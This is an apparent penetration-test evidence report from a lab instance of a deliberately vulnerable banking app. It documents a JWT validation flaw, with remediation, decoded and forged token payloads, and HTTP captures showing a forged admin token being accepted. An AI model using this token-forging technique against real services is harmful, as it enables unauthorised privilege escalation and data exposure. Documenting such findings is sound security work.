Test case 09 / 26FAIL
JWT Signature Not Verified - Authentication - Token Validation
Lab environment — not a production system
Screenshots and raw traffic are not translated; text within them may be in another language.
vuln-bank/Evidence/[FAIL] JWT Signature Not Verified - Authentication - Token Validation
01 — Notes
Test notes
Vulnerability
[FAIL] JWT Signature Not Verified - Authentication - Token Validation
Description
The verify_token function in auth.py catches InvalidSignatureError and then retries the decode with options={'verify_signature': False}, returning the payload. As a result, tokens with an invalid signature are still accepted. The is_admin claim is read directly from the token payload, so an attacker only needs to change that claim.
Impact
Confidentiality + Integrity (Critical): vertical privilege escalation from an ordinary user to administrator without knowing the signing key. A forged token opens the admin panel and every administrative endpoint, including reading other users' data and managing accounts.
CWE
CWE-347: Improper Verification of Cryptographic Signature
OWASP
A07:2021 - Identification and Authentication Failures
Scenario
Normal: pentest_attacker's legitimate token is rejected by the admin panel with 403 Access Denied. Exploitation: the token payload is changed to user_id 1 and is_admin true, then re-signed with the wrong key (totally-wrong-key). Impact: the forged token is accepted, the admin panel opens, and administrator data is readable.
Endpoint
GET http://127.0.0.1:5001/sup3r_s3cr3t_admin
GET http://127.0.0.1:5001/api/v3/user/1
Affected feature
JWT validation across all protected endpoints (token_required decorator)
Remediation
- Remove the fallback path that decodes with verify_signature False; a signature verification failure must always reject the request.
- Pin the algorithm to one expected value (HS256) and reject any other value.
- Do not make authorization decisions from claims inside the token; fetch the role from the database using the token subject.
- Use a strong random secret and add an exp claim.
Proof of concept
1) (Screenshot 1) NORMAL: pentest_attacker's legitimate token to /sup3r_s3cr3t_admin -> HTTP 403 Access Denied.
2) (Screenshot 2) PROCESS: the token is decoded, the user_id claim is changed to 1 and is_admin to true, then re-signed with the wrong key.
3) (Screenshot 3) EXPLOITATION: the forged token to /sup3r_s3cr3t_admin -> HTTP 200, the admin panel opens.
4) (Screenshot 4) CIA IMPACT: the forged token reads /api/v3/user/1 -> administrator data (ADMIN001, is_admin true) is exposed.
View source note (English)
Vulnerability:
[FAIL] JWT Signature Not Verified - Authentication - Token Validation
Description:
The verify_token function in auth.py catches InvalidSignatureError and then retries the decode with options={'verify_signature': False}, returning the payload. As a result, tokens with an invalid signature are still accepted. The is_admin claim is read directly from the token payload, so an attacker only needs to change that claim.
Impact:
Confidentiality + Integrity (Critical): vertical privilege escalation from an ordinary user to administrator without knowing the signing key. A forged token opens the admin panel and every administrative endpoint, including reading other users' data and managing accounts.
CWE:
CWE-347: Improper Verification of Cryptographic Signature
OWASP:
A07:2021 - Identification and Authentication Failures
Scenario:
Normal: pentest_attacker's legitimate token is rejected by the admin panel with 403 Access Denied. Exploitation: the token payload is changed to user_id 1 and is_admin true, then re-signed with the wrong key (totally-wrong-key). Impact: the forged token is accepted, the admin panel opens, and administrator data is readable.
Endpoint:
GET http://127.0.0.1:5001/sup3r_s3cr3t_admin
GET http://127.0.0.1:5001/api/v3/user/1
Affected Feature:
JWT validation across all protected endpoints (token_required decorator)
Remediation:
- Remove the fallback path that decodes with verify_signature False; a signature verification failure must always reject the request.
- Pin the algorithm to one expected value (HS256) and reject any other value.
- Do not make authorization decisions from claims inside the token; fetch the role from the database using the token subject.
- Use a strong random secret and add an exp claim.
POC:
1) (Screenshot 1) NORMAL: pentest_attacker's legitimate token to /sup3r_s3cr3t_admin -> HTTP 403 Access Denied.
2) (Screenshot 2) PROCESS: the token is decoded, the user_id claim is changed to 1 and is_admin to true, then re-signed with the wrong key.
3) (Screenshot 3) EXPLOITATION: the forged token to /sup3r_s3cr3t_admin -> HTTP 200, the admin panel opens.
4) (Screenshot 4) CIA IMPACT: the forged token reads /api/v3/user/1 -> administrator data (ADMIN001, is_admin true) is exposed.
02 — Screenshots
Screenshots (3)
03 — Process details
Process details
Credential values are masked in this HTML view; references to complete tokens describe the source capture.
PROCESS 01 / 2
Prepare a modified JWT
Captured token
[REDACTED-LAB-JWT]Decoded header
{
"typ": "JWT",
"alg": "HS256"
}Decoded payload
{
"user_id": 2,
"username": "pentest_attacker",
"is_admin": false,
"iat": 1790737096
}Modified payload
{
"user_id": 1,
"username": "admin",
"is_admin": true,
"iat": 1790736461
}Signing key used
[REDACTED-LAB-SIGNING-KEY]Re-encoded token
[REDACTED-LAB-JWT]Credential values are masked in this HTML view; references to complete tokens describe the source capture.
04 — Requests and responses
HTTP captures
Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.
CAPTURE 01 / 1
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 403 FORBIDDEN
Content-Type: text/html; charset=utf-8
Content-Length: 13
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:16 GMT
Access DeniedCAPTURE 02 / 3
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 43060
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:18 GMT
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Admin Panel - VulnBank</title>
<link rel="icon" type="image/svg+xml" href="/static/favicon.svg">
<link rel="icon" type="image/svg+xml" href="/static/favicon-16.svg" sizes="16x16">
<link rel="stylesheet" href="/static/style.css">
<link rel="stylesheet" href="/static/admin.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script>document.documentElement.setAttribute("data-theme", localStorage.getItem("vb-theme") || "light");</script>
</head>
<body>
<a href="#main-content" class="skip-link">Skip to main content</a>
<div class="admin-layout">
<!-- Sidebar -->
<aside class="admin-sidebar">
<div class="sidebar-header">
<div class="sidebar-logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M12 2v20M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"></path>
</svg>
<span class="sidebar-logo-text">VulnBank</span>
<span class="sidebar-badge">Admin</span>
</div>
</div>
<nav class="sidebar-nav">
<a href="#overview" class="sidebar-nav-item active" data-section="overview">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<rect x="3" y="3" width="7" height="7"></rect>
<rect x="14" y="3" width="7" height="7"></rect>
<rect x="14" y="14" width="7" height="7"></rect>
<rect x="3" y="14" width="7" height="7"></rect>
</svg>
<span>Overview</span>
</a>
<a href="#users" class="sidebar-nav-item" data-section="users">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path>
<circle cx="9" cy="7" r="4"></circle>
<path d="M23 21v-2a4 4 0 0 0-3-3.87"></path>
<path d="M16 3.13a4 4 0 0 1 0 7.75"></path>
</svg>
<span>Users</span>
</a>
<a href="#loans" class="sidebar-nav-item" data-section="loans">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<rect x="2" y="7" width="20" height="14" rx="2" ry="2"></rect>
<path d="M16 21V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v16"></path>
</svg>
<span>Loans</span>
</a>
<a href="#settings" class="sidebar-nav-item" data-section="settings">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<circle cx="12" cy="12" r="3"></circle>
<path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0-9 19.4a1.65 1.65 0 0 0-1 1.51 1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0 .33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"></path>
</svg>
<span>Settings</span>
</a>
</nav>
<div class="sidebar-footer">
<a href="/dashboard" class="sidebar-back-link">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<line x1="19" y1="12" x2="5" y2="12"></line>
<polyline points="12 19 5 12 12 5"></polyline>
</svg>
<span>Back to Dashboard</span>
</a>
<button class="theme-toggle-sidebar" onclick="toggleTheme()" aria-label="Toggle dark mode">
<span class="toggle-icon toggle-icon-sun">☀️</span>
<span class="toggle-icon toggle-icon-moon">🌙</span>
</button>
</div>
</aside>
<!-- Main Content -->
<main class="admin-main" id="main-content">
<!-- Top Bar -->
<header class="admin-topbar">
<h1 class="admin-page-title">Overview</h1>
<div class="admin-profile-mini">
<span class="admin-name">System Administrator</span>
<img src="/static/uploads/admin.png" alt="Admin">
</div>
</header>
<!-- Messages -->
<div id="message" aria-live="polite"></div>
<!-- Overview Section -->
<section class="admin-section" id="overview-section">
<div class="section-header">
<h2>Transaction Analytics</h2>
<p class="section-subt
[... 37049 more bytes not shown ...]CAPTURE 03 / 4
GET /api/v3/user/1 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 185
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:19 GMT
{
"status": "success",
"user": {
"account_number": "ADMIN001",
"balance": 1000000.0,
"bio": null,
"id": 1,
"is_admin": true,
"username": "admin"
}
}